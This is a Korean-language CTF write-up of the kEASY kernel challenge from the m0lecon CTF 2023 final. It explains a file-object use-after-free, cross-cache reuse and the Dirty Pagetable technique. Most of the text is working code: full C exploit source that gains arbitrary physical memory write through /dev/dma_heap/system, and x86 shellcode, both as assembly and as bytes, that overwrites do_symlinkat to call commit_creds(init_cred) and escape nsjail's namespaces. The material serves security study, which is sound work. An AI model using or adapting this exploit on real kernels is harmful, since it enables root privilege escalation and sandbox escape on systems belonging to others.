Original Reference : https://ptr-yudai.hatenablog.com/entry/2023/12/08/093606
1. Overview
2. Vulnerabilty
3. Cross-Cache UAF
4. Dirty Pagetable
4-1. Dirty Pagetable VIA flie UAF
4-2. /dev/dma_heap/system
4-3. Arbitrary Physical Address Read / Write
5. Escaping nsjail
6. Finish
kEASY는 m0lecon CTF final 2023에 출제되었던 커널 문제입니다. 굉장히 제한된 nsjail 환경에서 커널 익스플로잇을 통해 root 권한을 얻고, nsjail까지 탈출해야합니다.
이 과정에서 실제 Real-World에서 볼 수 있는 Cross-Cache UAF
및 Dirty Pagetable
과 같은 Kernel Exploit 기법이 사용되기 때문에, Real World에서의 Kernel Exploit을 공부하기에 좋은 문제입니다.
static long keasy_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
long ret = -EINVAL;
struct file *myfile;
int fd;
if (!enabled) {
goto out;
}
enabled = 0;
myfile = anon_inode_getfile("[easy]", &keasy_file_fops, NULL, 0);
fd = get_unused_fd_flags(O_CLOEXEC);
if (fd < 0) {
ret = fd;
goto err;
}
fd_install(fd, myfile);
if (copy_to_user((unsigned int __user *)arg, &fd, sizeof(fd))) {
ret = -EINVAL;
goto err;
}
ret = 0;
return ret;
err:
fput(myfile);
out:
return ret;
}
취약점은 매우 간단합니다. 임의의 file을 만들고 해당 file을 fd_install
함수를 통해 fd를 할당하는데, copy_to_user
함수에서 에러가 발생한 경우 fput
함수로 file을 해제하지만, 할당된 fd는 닫지 않습니다. 때문에, User-Level에서 할당된 fd를 통해 해제된 file에 접근할 수 있습니다. 즉, Use-After-Free 취약점이 발생하게 됩니다.
일반적으로 커널의 Slab 할당자는 Slab Cache를 통해서 메모리 관리를 하기 때문에, 해제된 file
오브젝트는 file
오브젝트로만 다시 할당될 수 있습니다.
대부분의 환경에서는, file
오브젝트에 대한 UAF를 통해 Dirty Cred
같은 굉장히 강력한 공격으로 이어갈 수 있지만, 해당 kEASY의 경우 nsjail로 인해서 /etc/passwd
파일에 접근하지 못하므로 다른 방법을 이용해야합니다.
결론적으로, Cross-Cache UAF
를 통해 해제된 file
오브젝트를 file
오브젝트가 아닌 다른 커널 오브젝트에 할당될 수 있게 만들어야합니다.
방법은 매우 쉬운데, 그냥 file
오브젝트를 스프레잉 한다음 전부 해제하면, 해당 Slab Cache 자체가 해제되어 file
오브젝트가 아닌 다른 Slab Cache가 될 수 있는 상태가 됩니다.
Dirty Pagetable
기법의 주요 원리는 매우 간단합니다. PTE(Page Table Entry)
는 가상메모리 주소와 실제 물리메모리 주소 간의 매핑을 저장하는데 구조체이며, 각 Entry에는 물리 메모리 주소가 담겨 있습니다.
공격자는 mmap
함수등을 이용해 다수의 PTE
객체를 스프레잉 함으로써 UAF 상태의 메모리에 PTE
객체를 할당할 수 있습니다. 이후 UAF 취약점을 통해 할당된 PTE
객체에 접근하여 임의의 물리메모리 주소를 Entry에 덮어쓸 경우, mmap
함수로 할당된 가상메모리를 참조할때, 덮어써진 물리메모리 주소에 접근할 수 있게 됩니다. 즉, 물리메모리를 대상으로 임의의 메모리 쓰기 및 읽기가 가능해집니다.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/mman.h>
#define SPRAY_COUNT_1 0x100
#define SPRAY_COUNT_2 0x1000
void init_cpu(void){
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
exit(EXIT_FAILURE);
}
}
#define BYTES_PER_LINE 16
void hexdump(const unsigned char *buf, size_t len) {
for (size_t i = 0; i < len; i++) {
if (i % BYTES_PER_LINE == 0) {
printf("%06zx: ", i);
}
printf("%02x ", buf[i]);
if ((i + 1) % BYTES_PER_LINE == 0 || i == len - 1) {
printf("\n");
}
}
}
int main(){
init_cpu();
int fd = open("/dev/keasy",O_RDWR);
if(fd==-1){
puts("open error");
exit(-1);
}
char *spray_map[SPRAY_COUNT_2*2] = {0, };
puts("[+] Spraying mmap");
for(int i=0;i<SPRAY_COUNT_2*2;i++){
spray_map[i] = mmap((void*)(0x13370000UL + i*0x10000UL), 0x8000, PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_SHARED, -1, 0);
if(spray_map[i]==MAP_FAILED){
puts("spray mmap error");
exit(-1);
}
}
int spray_fd[SPRAY_COUNT_1*2] = {0, };
puts("[+] Spraying fd 1");
for(int i=0;i<SPRAY_COUNT_1;i++){
spray_fd[i] = open("/jail", O_RDONLY);
if(spray_fd[i]==-1){
puts("spray fd 1 error");
exit(-1);
}
}
puts("[+] Trigger UAF");
int uaf_fd = spray_fd[SPRAY_COUNT_1-1] + 1;
ioctl(fd, 0x0, 0x0);
puts("[+] Spraying fd 2");
for(int i=SPRAY_COUNT_1;i<SPRAY_COUNT_1*2;i++){
spray_fd[i] = open("/jail", O_RDONLY);
if(spray_fd[i]==-1){
puts("spray fd 2 error");
exit(-1);
}
}
puts("[+] close sprayed fd");
for(int i=0;i<SPRAY_COUNT_1*2;i++){
close(spray_fd[i]);
}
puts("[+] Spraying PTE 1");
for(int i=0;i<SPRAY_COUNT_2;i++){
for(int ii=0;ii<8;ii++){
spray_map[i][0x1000*ii] = '0' + ii;
}
}
puts("[+] Spraying PTE 2");
for(int i=SPRAY_COUNT_2;i<SPRAY_COUNT_2*2;i++){
for(int ii=0;ii<8;ii++){
spray_map[i][0x1000*ii] = '0 + ii;
}
}
getchar();
return 0;
}
다음은 kEASY의 취약점을 이용하여 UAF 상태의 file
오브젝트에 PTE
를 할당하는 코드입니다. 주의해야할 점은, PTE
는 mmap으로 가상메모리 주소를 할당받는 시점이 아닌, 해당 가상메모리에 접근하는 시점에서 생성된다는 것입니다.
fput
함수가 실행되는 시점에 breakpoint를 걸고 RDI 레지스터를 확인해보면 정상적으로 file 오브젝트가 할당된 상태라는 것을 알 수 있습니다.
이후 코드가 전부 실행된 시점에서 다시 해당 메모리를 확인해보면 위와 같이 임의의 물리메모리 주소가 담긴 PTE
오브젝트가 되었다는 것을 확인할 수 있습니다.
UAF 상태의 커널 메모리에 PTE
오브젝트를 할당했다면, Dangling Pointer
를 통해 해당 PTE
오브젝트에 접근할 수 있습니다. 해당 문제에서는 file
오브젝트로서 PTE
오브젝트에 접근할 수 있습니다. 따라서 file
오브젝트의 멤버 변수 중 User-Level에서 변경 가능한 값인 file->f_count
를 이용하여 PTE
오브젝트를 수정할 수 있습니다.
file->f_count
는 file
오브젝트의 Reference Count
입니다. 즉, dup
등의 함수로 해당 file
오브젝트를 참조하는 fd가 늘어날수록 file->f_count
는 증가하며, close
등의 함수로 fd가 줄어들어 0이 될 경우, 해당 file
오브젝트는 해제됩니다.
공격자는 dup
함수를 통해 file->f_count
를 증가시켜, PTE->Entry[7]
의 값은 증가시킬 수 있습니다. 이때 프로세스 당 fd 제한을 우회하기 위해 fork
를 이용할 수도 있습니다.
최종적으로, PTE->Entry[7]
에 담긴 포인터가 물리 메모리 상에 임의의 커널 오브젝트를 가리키게 하는 것이 가능해지고, 이후 mmap
으로 할당된 메모리에 접근하여 해당 커널 오브젝트를 덮어쓸 수 있습니다.
하지만 kEASY 문제에서는 nsjail로 인해 프로세스 갯수가 제한되어서 원하는 만큼 file->f_count
를 늘릴 수 없습니다.
file->f_count
를 원하는 만큼 느릴 수 없다고 하더라도, 공격자는 Kernel-Level <-> User-Level 사이에서 공유되는 메모리를 통해 Dirty Pagetable
공격을 할 수 있습니다. 이러한 공유 메모리를 생성할 수 있는 기능으로는 /dev/dma_heap/system
이 있습니다. 해당 디바이스를 통해 할당되는 메모리는 PTE
가 할당되는 물리 메모리 영역과 동일하고, User-Level에서 접근할 수 있기 때문에, 위와 같이 file->f_count
를 0x1000 만큼 늘리는 것 만으로, 아래에 인접해 있는 PTE
오브젝트를 조작할 수 있습니다.
/dev/dma_heap/system
는 안드로이드 시스템에서 주로 사용되며, 일반적인 Ubuntu에서는 활성화되어 있지 않는 것으로 보입니다. Ubuntu 등을 Exploit 할때에는io_uring
을 이용해 Kernel-Level <-> User-Level 사이에서 공유되는 메모리를 생성할 수 있습니다.
...
int fd2 = open("/dev/dma_heap/system",O_RDWR);
if(fd2==-1){
puts("open error");
exit(-1);
}
...
puts("[+] Spraying PTE 1");
for(int i=0;i<SPRAY_COUNT_2;i++){
for(int ii=0;ii<8;ii++){
spray_map[i][0x1000*ii] = '0' + ii;
}
}
struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;
if (ioctl(fd2, 0xc0184800, &data) < 0){
puts("ioctl failed");
exit(-1);
}
printf("[+] dma_buf_fd: %d\n", data.fd);
puts("[+] Spraying PTE 2");
for(int i=SPRAY_COUNT_2;i<SPRAY_COUNT_2*2;i++){
for(int ii=0;ii<8;ii++){
spray_map[i][0x1000*ii] = '0' + ii;
}
}
puts("[+] Increase file->f_count");
for (int i=0;i<0x1000; i++){
if(dup(uaf_fd)==-1){
puts("dup failed");
exit(-1);
}
}
puts("[+] Searching Overlapped PTE->Entry[7]");
void *overlapped_entry = 0;
for(int i=0;i<SPRAY_COUNT_2*2;i++){
if(spray_map[i][0x1000*7] != ('0' + 7)){
overlapped_entry = &(spray_map[i][0x1000*7]);
break;
}
}
printf("[+] Overlapped PTE->Entry[7] : %p\n", overlapped_entry);
puts("[+] Overlapped PTE->Entry[7] = dma_buf");
munmap(overlapped_entry, 0x1000);
char *dma_buf = mmap(overlapped_entry, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, data.fd, 0);
if(dma_buf==MAP_FAILED){
puts("dma_buf mmap error");
exit(-1);
}
dma_buf[0] = '0';
puts("[+] Increase file->f_count");
for (int i=0;i<0x1000; i++){
if(dup(uaf_fd)==-1){
puts("dup failed");
exit(-1);
}
}
getchar();
다음은 Dirty Pagetable
과 /dev/dma_heap/system
를 이용해 임의의 PTE
오브젝트와 dma_buf
를 오버랩시키는 코드입니다. 이후 dma_buf
에 접근하는 것으로 PTE
오브젝트를 수정할 수 있습니다.
공격자는 PTE
오브젝트를 수정하는 것으로, 특정 가상메모리 주소에 공격자가 원하는 물리메모리 주소를 매핑할 수 있습니다. 해당 가상메모리 주소에 접근하는 것으로, 공격자는 원하는 물리메모리 주소에 Read / Write를 할 수 있습니다. 이를 통해 특정 커널 오브젝트를 덮거나 커널 함수에 Shellcode를 삽입할 수 있습니다.
물리메모리에 대해 직접적인 접근을 하는 것이기 때문에 Write 권한이 없는 영역에도 Write를 할 수 있습니다. 따라서 임의의 커널 함수에 Shellcode를 삽입하는 것이 가능합니다.
puts("[+] Leak Physical Address Base");
*(unsigned long long*)dma_buf = 0x8000000000000067 + 0x09c000;
char *target_pte = 0;
for(int i=0;i<SPRAY_COUNT_2*2;i++){
if(*(unsigned long long*)spray_map[i] > 0xffff){
target_pte = &(spray_map[i][0]);
break;
}
}
long long unsigned physical_base = ((*(long long unsigned*)target_pte) & ~0xfff) - 0x1c04000;
printf("[+] physical_base : %p\n", (void*)physical_base);
puts("[+] Overwrite Kernel Function");
long long unsigned symlink_addr = physical_base + 0x24d4c0;
*(unsigned long long*)dma_buf = 0x8000000000000067 + (symlink_addr&~0xfff);
memset(target_pte+(symlink_addr&0xfff),'a',0x100);
getchar();
puts("[+] Execute evil func!!");
symlink("/jail/x", "/jail");
다음은 커널의 symlink
함수를 "a"*0x100
으로 덮는 코드입니다. 0x09c000
은 항상 고정된 물리메모리 주소이며, 이곳에는 커널 함수와 인접한 주소가 적혀있습니다. 따라서, 0x09c000
물리메모리 주소를 읽고, 해당 값에 임의의 오프셋을 더하거나 빼는 것으로 물리메모리 상에서 do_symlinkat
함수의 주소를 알아낼 수 있습니다.
이후 do_symlinkat
함수를 Shellcode로 덮어 익스플로잇할 수 있습니다.
PTE->Entry
에 적인 물리메모리 주소에는 0x8000000000000067라는 플래그(?) 값이 기본적으로 붙어있고, 주소는 하위 12비트는 0이여야하는 것을 주의해야합니다.
gdb를 통해 확인해보면, 성공적으로 do_symlinkat
함수의 일부분이 "a"
로 덮힌 것을 확인할 수 있습니다. 그대로 symlink
함수가 실행된다면 커널 패닉이 발생합니다.
xp/10gx
: 물리메모리 기준으로 메모리 내용을 출력함.
p2v
: 해당 물리메모리 주소를 매핑한 가상메모리 주소를 출력함.
이제 커널 단에서 임의의 Shellcode를 실행시키는 것이 가능해졌습니다. 이후에는 단순히 commit_creds(init_cred)
를 실행하고 Namespace를 탈출한 후 User-Level로 돌아오는 Shellcode를 실행시키면 됩니다.
init_cred equ 0x1445ed8
commit_creds equ 0x00ae620
find_task_by_vpid equ 0x00a3750
init_nsproxy equ 0x1445ce0
switch_task_namespaces equ 0x00ac140
init_fs equ 0x1538248
copy_fs_struct equ 0x027f890
kpti_bypass equ 0x0c00f41
_start:
endbr64
call a
a:
pop r15
sub r15, 0x24d4c9
; commit_creds(init_cred) [3]
lea rdi, [r15 + init_cred]
lea rax, [r15 + commit_creds]
call rax
; task = find_task_by_vpid(1) [4]
mov edi, 1
lea rax, [r15 + find_task_by_vpid]
call rax
; switch_task_namespaces(task, init_nsproxy) [5]
mov rdi, rax
lea rsi, [r15 + init_nsproxy]
lea rax, [r15 + switch_task_namespaces]
call rax
; new_fs = copy_fs_struct(init_fs) [6]
lea rdi, [r15 + init_fs]
lea rax, [r15 + copy_fs_struct]
call rax
mov rbx, rax
; current = find_task_by_vpid(getpid())
mov rdi, 0x1111111111111111 ; will be fixed at runtime
lea rax, [r15 + find_task_by_vpid]
call rax
; current->fs = new_fs [8]
mov [rax + 0x740], rbx
; kpti trampoline [9]
xor eax, eax
mov [rsp+0x00], rax
mov [rsp+0x08], rax
mov rax, 0x2222222222222222 ; win
mov [rsp+0x10], rax
mov rax, 0x3333333333333333 ; cs
mov [rsp+0x18], rax
mov rax, 0x4444444444444444 ; rflags
mov [rsp+0x20], rax
mov rax, 0x5555555555555555 ; stack
mov [rsp+0x28], rax
mov rax, 0x6666666666666666 ; ss
mov [rsp+0x30], rax
lea rax, [r15 + kpti_bypass]
jmp rax
int3
Shellcode는 다음과 같습니다. 실행 시점에서 0x1111111111111111 ~ 0x6666666666666666
부분에 적절한 값을 넣어주고 do_symlinkat
함수를 덮은 다음, symlink
함수를 실행해주면 성공적으로 nsjail을 탈출하고 권한 상승을 할 수 있습니다.
KASLR이 해제되어 있을 경우 물리메모리의 레이아웃이 달라져서 정상적으로 Base 주소를 유출하지 못합니다.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/mman.h>
#define SPRAY_COUNT_1 0x100
#define SPRAY_COUNT_2 0x1000
struct dma_heap_allocation_data {
unsigned long long len;
unsigned int fd;
unsigned int fd_flags;
unsigned long long heap_flags;
};
void init_cpu(void){
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
exit(EXIT_FAILURE);
}
}
#define BYTES_PER_LINE 16
void hexdump(const unsigned char *buf, size_t len) {
for (size_t i = 0; i < len; i++) {
if (i % BYTES_PER_LINE == 0) {
printf("%06zx: ", i);
}
printf("%02x ", buf[i]);
if ((i + 1) % BYTES_PER_LINE == 0 || i == len - 1) {
printf("\n");
}
}
}
unsigned long user_cs, user_ss, user_rsp, user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
static void win() {
puts("[+] win > _ <");
char buf[0x100];
int fd = open("/dev/sda", O_RDONLY);
read(fd, buf, 0x100);
write(1, buf, 0x100);
}
int main(){
init_cpu();
save_state();
int fd = open("/dev/keasy",O_RDWR);
if(fd==-1){
puts("open error");
exit(-1);
}
int fd2 = open("/dev/dma_heap/system",O_RDWR);
if(fd2==-1){
puts("open error");
exit(-1);
}
char *spray_map[SPRAY_COUNT_2*2] = {0, };
puts("[+] Spraying mmap");
for(int i=0;i<SPRAY_COUNT_2*2;i++){
spray_map[i] = mmap((void*)(0x13370000UL + i*0x10000UL), 0x8000, PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_SHARED, -1, 0);
if(spray_map[i]==MAP_FAILED){
puts("spray mmap error");
exit(-1);
}
}
int spray_fd[SPRAY_COUNT_1*2] = {0, };
puts("[+] Spraying fd 1");
for(int i=0;i<SPRAY_COUNT_1;i++){
spray_fd[i] = open("/jail", O_RDONLY);
if(spray_fd[i]==-1){
puts("spray fd 1 error");
exit(-1);
}
}
puts("[+] Trigger UAF");
int uaf_fd = spray_fd[SPRAY_COUNT_1-1] + 1;
ioctl(fd, 0x0, 0x0);
printf("[+] uaf_fd : %d\n", uaf_fd);
puts("[+] Spraying fd 2");
for(int i=SPRAY_COUNT_1;i<SPRAY_COUNT_1*2;i++){
spray_fd[i] = open("/jail", O_RDONLY);
if(spray_fd[i]==-1){
puts("spray fd 2 error");
exit(-1);
}
}
puts("[+] close sprayed fd");
for(int i=0;i<SPRAY_COUNT_1*2;i++){
close(spray_fd[i]);
}
puts("[+] Spraying PTE 1");
for(int i=0;i<SPRAY_COUNT_2;i++){
for(int ii=0;ii<8;ii++){
spray_map[i][0x1000*ii] = '0' + ii;
}
}
struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;
if (ioctl(fd2, 0xc0184800, &data) < 0){
puts("ioctl failed");
exit(-1);
}
printf("[+] dma_buf_fd: %d\n", data.fd);
puts("[+] Spraying PTE 2");
for(int i=SPRAY_COUNT_2;i<SPRAY_COUNT_2*2;i++){
for(int ii=0;ii<8;ii++){
spray_map[i][0x1000*ii] = '0' + ii;
}
}
puts("[+] Increase file->f_count");
for (int i=0;i<0x1000; i++){
if(dup(uaf_fd)==-1){
puts("dup failed");
exit(-1);
}
}
puts("[+] Searching Overlapped PTE->Entry[7]");
void *overlapped_entry = 0;
for(int i=0;i<SPRAY_COUNT_2*2;i++){
if(spray_map[i][0x1000*7] != ('0' + 7)){
overlapped_entry = &(spray_map[i][0x1000*7]);
break;
}
}
printf("[+] Overlapped PTE->Entry[7] : %p\n", overlapped_entry);
puts("[+] Overlapped PTE->Entry[7] = dma_buf");
munmap(overlapped_entry, 0x1000);
char *dma_buf = mmap(overlapped_entry, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, data.fd, 0);
if(dma_buf==MAP_FAILED){
puts("dma_buf mmap error");
exit(-1);
}
dma_buf[0] = '0';
puts("[+] Increase file->f_count");
for (int i=0;i<0x1000; i++){
if(dup(uaf_fd)==-1){
puts("dup failed");
exit(-1);
}
}
puts("[+] Leak Physical Address Base");
*(unsigned long long*)dma_buf = 0x8000000000000067 + 0x09c000;
char *target_pte = 0;
for(int i=0;i<SPRAY_COUNT_2*2;i++){
if(*(unsigned long long*)spray_map[i] > 0xffff){
target_pte = &(spray_map[i][0]);
break;
}
}
long long unsigned physical_base = ((*(long long unsigned*)target_pte) & ~0xfff) - 0x1c04000;
printf("[+] physical_base : %p\n", (void*)physical_base);
puts("[+] Overwrite Kernel Function");
long long unsigned symlink_addr = physical_base + 0x24d4c0;
*(unsigned long long*)dma_buf = 0x8000000000000067 + (symlink_addr&~0xfff);
char shellcode[] = {0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0xc9, 0xd4, 0x24, 0x00, 0x49, 0x8d, 0xbf, 0xd8, 0x5e, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x20, 0xe6, 0x0a, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xe0, 0x5c, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x40, 0xc1, 0x0a, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x48, 0x82, 0x53, 0x01, 0x49, 0x8d, 0x87, 0x90, 0xf8, 0x27, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0, 0x48, 0x89, 0x98, 0x40, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89, 0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89, 0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0x41, 0x0f, 0xc0, 0x00, 0xff, 0xe0, 0xcc};
void *p;
p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
*(size_t*)p = getpid();
p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
*(size_t*)p = (size_t)&win;
p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
*(size_t*)p = user_cs;
p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
*(size_t*)p = user_rflags;
p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
*(size_t*)p = user_rsp;
p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
*(size_t*)p = user_ss;
memcpy(target_pte+(symlink_addr&0xfff),shellcode,sizeof(shellcode));
puts("[+] Execute evil func!!");
symlink("/jail/x", "/jail");
return 0;
}